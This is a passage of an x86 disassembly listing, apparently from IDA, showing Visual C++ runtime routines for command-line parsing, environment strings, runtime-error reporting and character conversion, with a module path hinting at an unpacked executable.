		movzx	esi, al
		test	byte_676DC1[esi], 4
		mov	[edi], al
		jz	short loc_432B17
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_432B23
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_432B29
		jmp	short loc_432B1D
; ---------------------------------------------------------------------------


loc_432B17:				; CODE XREF: sub_432ABC+46j
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_432B2D


loc_432B1D:				; CODE XREF: sub_432ABC+59j
		test	edx, edx
		jnz	short loc_432AF3
		jmp	short loc_432B2D
; ---------------------------------------------------------------------------


loc_432B23:				; CODE XREF: sub_432ABC+4Cj
		and	byte ptr [edi-1], 0
		jmp	short loc_432B2D
; ---------------------------------------------------------------------------


loc_432B29:				; CODE XREF: sub_432ABC+57j
		and	byte ptr [edi-2], 0


loc_432B2D:				; CODE XREF: sub_432ABC+32j
					; sub_432ABC+5Fj ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_432B48
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_432B48:				; CODE XREF: sub_432ABC+77j
		push	19h
		call	sub_42DB50
		mov	eax, [ebp+arg_0]
		pop	ecx


loc_432B53:				; CODE XREF: sub_432ABC+22j
		pop	edi
		pop	ebp
		retn
sub_432ABC	endp


; =============== S U B	R O U T	I N E =======================================



sub_432B56	proc near		; CODE XREF: sub_42C1C0+Ej
		push	ebx
		push	edi
		push	2
		xor	ebx, ebx
		call	sub_42DAEF
		pop	ecx
		push	3
		pop	edi
		cmp	dword_678020, edi
		jle	short loc_432BCA
		push	esi


loc_432B6E:				; CODE XREF: sub_432B56+71j
		mov	eax, dword_67700C
		mov	esi, edi
		shl	esi, 2
		mov	eax, [esi+eax]
		test	eax, eax
		jz	short loc_432BC0
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_432B92
		push	eax
		call	sub_42A10B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_432B92
		inc	ebx


loc_432B92:				; CODE XREF: sub_432B56+2Dj
					; sub_432B56+39j
		cmp	edi, 14h
		jl	short loc_432BC0
		mov	eax, dword_67700C
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	dword_437168	; RtlDeleteCriticalSection
		mov	eax, dword_67700C
		push	dword ptr [esi+eax]
		call	sub_4298F2
		mov	eax, dword_67700C
		pop	ecx
		and	dword ptr [esi+eax], 0


loc_432BC0:				; CODE XREF: sub_432B56+27j
					; sub_432B56+3Fj
		inc	edi
		cmp	edi, dword_678020
		jl	short loc_432B6E
		pop	esi


loc_432BCA:				; CODE XREF: sub_432B56+15j
		push	2
		call	sub_42DB50
		pop	ecx
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
sub_432B56	endp


; =============== S U B	R O U T	I N E =======================================



sub_432BD7	proc near		; CODE XREF: .text:0042C62Bp
		cmp	dword_676ECC, 0
		jnz	short loc_432BE5
		call	sub_432AA0


loc_432BE5:				; CODE XREF: sub_432BD7+7j
		push	esi
		mov	esi, dword_677008
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_432C17


loc_432BF2:				; CODE XREF: sub_432BD7+33j
					; sub_432BD7+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_432C0F
		test	al, al
		jz	short loc_432C0F
		movzx	eax, al
		push	eax
		call	sub_434D2E
		test	eax, eax
		pop	ecx
		jz	short loc_432BF2
		inc	esi
		jmp	short loc_432BF2
; ---------------------------------------------------------------------------


loc_432C0F:				; CODE XREF: sub_432BD7+21j
					; sub_432BD7+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_432C21


loc_432C14:				; CODE XREF: sub_432BD7+52j
		inc	esi
		jmp	short loc_432C21
; ---------------------------------------------------------------------------


loc_432C17:				; CODE XREF: sub_432BD7+19j
		cmp	al, 20h
		jbe	short loc_432C21


loc_432C1B:				; CODE XREF: sub_432BD7+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_432C1B


loc_432C21:				; CODE XREF: sub_432BD7+3Bj
					; sub_432BD7+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_432C2B
		cmp	al, 20h
		jbe	short loc_432C14


loc_432C2B:				; CODE XREF: sub_432BD7+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_432BD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_432C2F	proc near		; CODE XREF: .text:0042C614p
		push	ebx
		xor	ebx, ebx
		cmp	dword_676ECC, ebx
		push	esi
		push	edi
		jnz	short loc_432C41
		call	sub_432AA0


loc_432C41:				; CODE XREF: sub_432C2F+Bj
		mov	esi, dword_676924
		xor	edi, edi


loc_432C49:				; CODE XREF: sub_432C2F+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_432C61
		cmp	al, 3Dh
		jz	short loc_432C54
		inc	edi


loc_432C54:				; CODE XREF: sub_432C2F+22j
		push	esi
		call	sub_4293A0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_432C49
; ---------------------------------------------------------------------------


loc_432C61:				; CODE XREF: sub_432C2F+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_6769EC, esi
		jnz	short loc_432C83
		push	9
		call	sub_42C67C
		pop	ecx


loc_432C83:				; CODE XREF: sub_432C2F+4Aj
		mov	edi, dword_676924
		cmp	[edi], bl
		jz	short loc_432CC6
		push	ebp


loc_432C8E:				; CODE XREF: sub_432C2F+94j
		push	edi
		call	sub_4293A0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_432CBF
		push	ebp
		call	sub_4297B8
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_432CB2
		push	9
		call	sub_42C67C
		pop	ecx


loc_432CB2:				; CODE XREF: sub_432C2F+79j
		push	edi
		push	dword ptr [esi]
		call	sub_42A5D0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_432CBF:				; CODE XREF: sub_432C2F+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_432C8E
		pop	ebp


loc_432CC6:				; CODE XREF: sub_432C2F+5Cj
		push	dword_676924
		call	sub_4298F2
		pop	ecx
		mov	dword_676924, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_676EC8, 1
		pop	ebx
		retn
sub_432C2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432CE8	proc near		; CODE XREF: .text:0042C60Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_676ECC, ebx
		push	esi
		push	edi
		jnz	short loc_432CFF
		call	sub_432AA0


loc_432CFF:				; CODE XREF: sub_432CE8+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_43717C	; GetModuleFileNameA
		mov	eax, dword_677008
		mov	off_6769FC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_432D24
		mov	edi, eax


loc_432D24:				; CODE XREF: sub_432CE8+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_432D81
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_4297B8
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_432D54
		push	8
		call	sub_42C67C
		pop	ecx


loc_432D54:				; CODE XREF: sub_432CE8+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_432D81
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_6769E4, esi
		pop	edi
		pop	esi
		mov	dword_6769E0, eax
		pop	ebx
		leave
		retn
sub_432CE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D81	proc near		; CODE XREF: sub_432CE8+47p
					; sub_432CE8+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_432DAB
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_432DAB:				; CODE XREF: sub_432D81+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_432DF4


loc_432DB0:				; CODE XREF: sub_432D81+58j
					; sub_432D81+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_432DE2
		test	dl, dl
		jz	short loc_432DE2
		movzx	edx, dl
		test	byte_676DC1[edx], 4
		jz	short loc_432DD5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_432DD5
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_432DD5:				; CODE XREF: sub_432D81+46j
					; sub_432D81+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_432DB0
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_432DB0
; ---------------------------------------------------------------------------


loc_432DE2:				; CODE XREF: sub_432D81+36j
					; sub_432D81+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_432DEC
		and	byte ptr [esi],	0
		inc	esi


loc_432DEC:				; CODE XREF: sub_432D81+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_432E37
		inc	eax
		jmp	short loc_432E37
; ---------------------------------------------------------------------------


loc_432DF4:				; CODE XREF: sub_432D81+2Dj
					; sub_432D81+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_432DFF
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_432DFF:				; CODE XREF: sub_432D81+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_676DC1[ebx], 4
		jz	short loc_432E1A
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_432E19
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_432E19:				; CODE XREF: sub_432D81+91j
		inc	eax


loc_432E1A:				; CODE XREF: sub_432D81+8Bj
		cmp	dl, 20h
		jz	short loc_432E28
		test	dl, dl
		jz	short loc_432E2C
		cmp	dl, 9
		jnz	short loc_432DF4


loc_432E28:				; CODE XREF: sub_432D81+9Cj
		test	dl, dl
		jnz	short loc_432E2F


loc_432E2C:				; CODE XREF: sub_432D81+A0j
		dec	eax
		jmp	short loc_432E37
; ---------------------------------------------------------------------------


loc_432E2F:				; CODE XREF: sub_432D81+A9j
		test	esi, esi
		jz	short loc_432E37
		and	byte ptr [esi-1], 0


loc_432E37:				; CODE XREF: sub_432D81+6Ej
					; sub_432D81+71j ...
		and	[ebp+arg_10], 0


loc_432E3B:				; CODE XREF: sub_432D81+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_432F24


loc_432E44:				; CODE XREF: sub_432D81+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_432E50
		cmp	dl, 9
		jnz	short loc_432E53


loc_432E50:				; CODE XREF: sub_432D81+C8j
		inc	eax
		jmp	short loc_432E44
; ---------------------------------------------------------------------------


loc_432E53:				; CODE XREF: sub_432D81+CDj
		cmp	byte ptr [eax],	0
		jz	loc_432F24
		test	edi, edi
		jz	short loc_432E68
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_432E68:				; CODE XREF: sub_432D81+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_432E6D:				; CODE XREF: sub_432D81+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_432E76:				; CODE XREF: sub_432D81+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_432E7F
		inc	eax
		inc	ebx
		jmp	short loc_432E76
; ---------------------------------------------------------------------------


loc_432E7F:				; CODE XREF: sub_432D81+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_432EB0
		test	bl, 1
		jnz	short loc_432EAE
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_432E9D
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_432E9D
		mov	eax, edx
		jmp	short loc_432EA0
; ---------------------------------------------------------------------------


loc_432E9D:				; CODE XREF: sub_432D81+10Dj
					; sub_432D81+116j
		mov	[ebp+arg_0], edi


loc_432EA0:				; CODE XREF: sub_432D81+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_432EAE:				; CODE XREF: sub_432D81+106j
		shr	ebx, 1


loc_432EB0:				; CODE XREF: sub_432D81+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_432EC5
		inc	ebx


loc_432EB8:				; CODE XREF: sub_432D81+142j
		test	esi, esi
		jz	short loc_432EC0
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_432EC0:				; CODE XREF: sub_432D81+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_432EB8


loc_432EC5:				; CODE XREF: sub_432D81+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_432F15
		cmp	[ebp+arg_10], 0
		jnz	short loc_432EDB
		cmp	dl, 20h
		jz	short loc_432F15
		cmp	dl, 9
		jz	short loc_432F15


loc_432EDB:				; CODE XREF: sub_432D81+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_432F0F
		test	esi, esi
		jz	short loc_432EFE
		movzx	ebx, dl
		test	byte_676DC1[ebx], 4
		jz	short loc_432EF7
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_432EF7:				; CODE XREF: sub_432D81+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_432F0D
; ---------------------------------------------------------------------------


loc_432EFE:				; CODE XREF: sub_432D81+162j
		movzx	edx, dl
		test	byte_676DC1[edx], 4
		jz	short loc_432F0D
		inc	eax
		inc	dword ptr [ecx]


loc_432F0D:				; CODE XREF: sub_432D81+17Bj
					; sub_432D81+187j
		inc	dword ptr [ecx]


loc_432F0F:				; CODE XREF: sub_432D81+15Ej
		inc	eax
		jmp	loc_432E6D
; ---------------------------------------------------------------------------


loc_432F15:				; CODE XREF: sub_432D81+148j
					; sub_432D81+153j ...
		test	esi, esi
		jz	short loc_432F1D
		and	byte ptr [esi],	0
		inc	esi


loc_432F1D:				; CODE XREF: sub_432D81+196j
		inc	dword ptr [ecx]
		jmp	loc_432E3B
; ---------------------------------------------------------------------------


loc_432F24:				; CODE XREF: sub_432D81+BDj
					; sub_432D81+D5j
		test	edi, edi
		jz	short loc_432F2B
		and	dword ptr [edi], 0


loc_432F2B:				; CODE XREF: sub_432D81+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_432D81	endp


; =============== S U B	R O U T	I N E =======================================



sub_432F35	proc near		; CODE XREF: .text:0042C605p
					; sub_434A14+8Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_676B28
		push	ebx
		push	ebp
		mov	ebp, dword_4371C0
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_432F83
		call	ebp ; dword_4371C0
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_432F64
		mov	dword_676B28, 1
		jmp	short loc_432F8C
; ---------------------------------------------------------------------------


loc_432F64:				; CODE XREF: sub_432F35+21j
		call	dword_4371C4	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_43305E
		mov	dword_676B28, 2
		jmp	loc_433012
; ---------------------------------------------------------------------------


loc_432F83:				; CODE XREF: sub_432F35+19j
		cmp	eax, 1
		jnz	loc_43300D


loc_432F8C:				; CODE XREF: sub_432F35+2Dj
		cmp	esi, ebx
		jnz	short loc_432F9C
		call	ebp ; dword_4371C0
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_43305E


loc_432F9C:				; CODE XREF: sub_432F35+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_432FB1


loc_432FA3:				; CODE XREF: sub_432F35+73j
					; sub_432F35+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_432FA3
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_432FA3


loc_432FB1:				; CODE XREF: sub_432F35+6Cj
		sub	eax, esi
		mov	edi, dword_437074
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi ; dword_437074
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_433002
		push	ebp
		call	sub_4297B8
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_433002
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi ; dword_437074
		test	eax, eax
		jnz	short loc_432FFE
		push	[esp+18h+var_8]
		call	sub_4298F2
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_432FFE:				; CODE XREF: sub_432F35+B9j
		mov	ebx, [esp+18h+var_8]


loc_433002:				; CODE XREF: sub_432F35+99j
					; sub_432F35+A8j
		push	esi
		call	dword_4371C8	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_433060
; ---------------------------------------------------------------------------


loc_43300D:				; CODE XREF: sub_432F35+51j
		cmp	eax, 2
		jnz	short loc_43305E


loc_433012:				; CODE XREF: sub_432F35+49j
		cmp	edi, ebx
		jnz	short loc_433022
		call	dword_4371C4	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_43305E


loc_433022:				; CODE XREF: sub_432F35+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_433032


loc_433028:				; CODE XREF: sub_432F35+F6j
					; sub_432F35+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_433028
		inc	eax
		cmp	[eax], bl
		jnz	short loc_433028


loc_433032:				; CODE XREF: sub_432F35+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_433048
		xor	esi, esi
		jmp	short loc_433053
; ---------------------------------------------------------------------------


loc_433048:				; CODE XREF: sub_432F35+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_429420
		add	esp, 0Ch


loc_433053:				; CODE XREF: sub_432F35+111j
		push	edi
		call	dword_4371CC	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_433060
; ---------------------------------------------------------------------------


loc_43305E:				; CODE XREF: sub_432F35+39j
					; sub_432F35+61j ...
		xor	eax, eax


loc_433060:				; CODE XREF: sub_432F35+D6j
					; sub_432F35+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_432F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_433067	proc near		; CODE XREF: sub_42C67C+9p
					; sub_42C6A1+9p
		mov	eax, dword_67692C
		cmp	eax, 1
		jz	short loc_43307E
		test	eax, eax
		jnz	short locret_43309F
		cmp	dword_451144, 1
		jnz	short locret_43309F


loc_43307E:				; CODE XREF: sub_433067+8j
		push	0FCh
		call	sub_4330A0
		mov	eax, dword_676B2C
		pop	ecx
		test	eax, eax
		jz	short loc_433094
		call	eax ; dword_676B2C


loc_433094:				; CODE XREF: sub_433067+29j
		push	0FFh
		call	sub_4330A0
		pop	ecx

locret_43309F:				; CODE XREF: sub_433067+Cj
					; sub_433067+15j
		retn
sub_433067	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4330A0	proc near		; CODE XREF: sub_42C67C+12p
					; sub_42C6A1+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_453A90


loc_4330B3:				; CODE XREF: sub_4330A0+20j
		cmp	edx, [eax]
		jz	short loc_4330C2
		add	eax, 8
		inc	ecx
		cmp	eax, offset dword_453B20
		jl	short loc_4330B3


loc_4330C2:				; CODE XREF: sub_4330A0+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_453A90[esi]
		jnz	loc_4331F0
		mov	eax, dword_67692C
		cmp	eax, 1
		jz	loc_4331CA
		test	eax, eax
		jnz	short loc_4330F3
		cmp	dword_451144, 1
		jz	loc_4331CA


loc_4330F3:				; CODE XREF: sub_4330A0+44j
		cmp	edx, 0FCh
		jz	loc_4331F0
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_43717C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_43312A
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_42A5D0
		pop	ecx
		pop	ecx


loc_43312A:				; CODE XREF: sub_4330A0+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_4293A0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_43316D
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4293A0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_429D10
		add	esp, 10h


loc_43316D:				; CODE XREF: sub_4330A0+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_42A5D0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_42A5E0
		lea	eax, [ebp+var_A0]
		push	offset asc_437D50 ; "\n\n"
		push	eax
		call	sub_42A5E0
		push	off_453A94[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_42A5E0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_434D70
		add	esp, 2Ch
		pop	edi
		jmp	short loc_4331F0
; ---------------------------------------------------------------------------


loc_4331CA:				; CODE XREF: sub_4330A0+3Cj
					; sub_4330A0+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_453A94[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_4293A0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_437200	; GetStdHandle
		push	eax
		call	dword_437078	; WriteFile


loc_4331F0:				; CODE XREF: sub_4330A0+2Ej
					; sub_4330A0+59j ...
		pop	esi
		leave
		retn
sub_4330A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4331F3	proc near		; CODE XREF: sub_42DB65+6Cp
					; sub_42F3E2+32p ...

arg_0		= dword	ptr  4

		inc	dword_676920
		push	1000h
		call	sub_4297B8
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_43321C
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_43322D
; ---------------------------------------------------------------------------


loc_43321C:				; CODE XREF: sub_4331F3+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_43322D:				; CODE XREF: sub_4331F3+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4331F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_433237	proc near		; CODE XREF: sub_42DB65+61p
					; sub_432104+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_676FE0
		jb	short loc_433246
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433246:				; CODE XREF: sub_433237+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	eax, [eax+eax*8]
		mov	ecx, dword_676EE0[ecx*4]
		mov	al, [ecx+eax*4+4]
		and	eax, 40h
		retn
sub_433237	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433260	proc near		; CODE XREF: sub_42DC7D+2D4p
					; sub_42DC7D+6B3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, offset dword_676EDC
		push	edi
		push	esi
		call	dword_437224	; InterlockedIncrement
		mov	edi, dword_437220
		xor	ebx, ebx
		cmp	dword_676ED8, ebx
		jz	short loc_433290
		push	esi
		call	edi ; dword_437220
		push	13h
		call	sub_42DAEF
		pop	ecx
		push	1
		pop	ebx


loc_433290:				; CODE XREF: sub_433260+20j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4332B9
		pop	ecx
		mov	[ebp+arg_4], eax
		test	ebx, ebx
		pop	ecx
		jz	short loc_4332AE
		push	13h
		call	sub_42DB50
		pop	ecx
		jmp	short loc_4332B1
; ---------------------------------------------------------------------------


loc_4332AE:				; CODE XREF: sub_433260+42j
		push	esi
		call	edi ; dword_437220


loc_4332B1:				; CODE XREF: sub_433260+4Cj
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_433260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4332B9	proc near		; CODE XREF: sub_433260+36p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_4332C5
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4332C5:				; CODE XREF: sub_4332B9+8j
		cmp	dword_6769A8, 0
		jnz	short loc_4332E0
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_433312
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4332E0:				; CODE XREF: sub_4332B9+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_4535C4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_6769B8
		call	dword_437074	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_433312
		cmp	[ebp+arg_0], 0
		jz	short loc_433320


loc_433312:				; CODE XREF: sub_4332B9+1Ej
					; sub_4332B9+51j
		call	sub_42F119
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh


loc_433320:				; CODE XREF: sub_4332B9+57j
		pop	ebp
		retn
sub_4332B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433322	proc near		; CODE XREF: sub_42E5F5+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, offset dword_676EDC
		push	edi
		push	esi
		call	dword_437224	; InterlockedIncrement
		mov	edi, dword_437220
		xor	ebx, ebx
		cmp	dword_676ED8, ebx
		jz	short loc_433352
		push	esi
		call	edi ; dword_437220
		push	13h
		call	sub_42DAEF
		pop	ecx
		push	1
		pop	ebx


loc_433352:				; CODE XREF: sub_433322+20j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_43337F
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		test	ebx, ebx
		jz	short loc_433374
		push	13h
		call	sub_42DB50
		pop	ecx
		jmp	short loc_433377
; ---------------------------------------------------------------------------


loc_433374:				; CODE XREF: sub_433322+46j
		push	esi
		call	edi ; dword_437220


loc_433377:				; CODE XREF: sub_433322+50j
		mov	eax, [ebp+arg_8]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_433322	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43337F	proc near		; CODE XREF: sub_433322+39p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4333A2
		cmp	[ebp+arg_8], ebx
		jz	short loc_4333A2
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4333A8
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4333A2
		mov	[eax], bx


loc_4333A2:				; CODE XREF: sub_43337F+Cj
					; sub_43337F+11j ...
		xor	eax, eax


